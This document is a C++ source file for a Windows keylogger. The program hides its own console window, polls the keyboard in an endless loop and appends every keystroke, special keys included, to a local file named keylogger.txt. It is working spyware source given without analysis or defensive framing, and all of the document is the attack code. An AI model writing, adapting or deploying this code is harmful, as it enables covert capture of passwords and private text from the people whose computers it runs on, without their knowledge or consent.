main.cpp

#include <iostream>
#include <fstream>
#include <windows.h>
#include <bits/stdc++.h>


//log file path
#define LOG_FILE "keylogger.txt"

//save data into log file
void saveData(std::string data) {
    std::fstream logFile;
    logFile.open(LOG_FILE, std::ios::app);
    logFile << data;
    logFile.close();
}

std::string translateSpecialKey(int key) {
    std::string result;

    switch (key)
    {
        case VK_SPACE:
            result = " ";
            break;
        case VK_RETURN:
            result = "\n";
            break;
        case VK_BACK:
            result = "\b";
            break;
        case VK_CAPITAL:
            result = "[CAPS_LOCK]";
            break;
        case VK_SHIFT:
            result = "[SHIFT]";
            break;
        case VK_TAB:
            result = "[TAB]";
            break;
        case VK_CONTROL:
            result = "[CTRL]";
            break;
        case VK_MENU:
            result = "[ALT]";
        default:
            break;
    }

    return result;
}

int main() {

    int specialKeyArray[] = {VK_SPACE, VK_RETURN, VK_SHIFT, VK_BACK, VK_TAB, VK_CONTROL, VK_MENU, VK_CAPITAL};
    std::string specialKeyChar;
    bool isSpecialKey;

    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);

    while (true) {
        for (int key = 8; key <= 190; key++) {
            if (GetAsyncKeyState(key) == -32767) {
                isSpecialKey = std::find(std::begin(specialKeyArray), std::end(specialKeyArray), key) != std::end(specialKeyArray);
                if (isSpecialKey) {
                    specialKeyChar = translateSpecialKey(key);
                    saveData(specialKeyChar);
                } else {
                    if (GetKeyState(VK_CAPITAL)) {
                        saveData(std::string(1, (char)key));
                    } else {
                        saveData(std::string(1, (char)std::tolower(key)));
                    }
                }
            }
        }
    }

    return 0;
}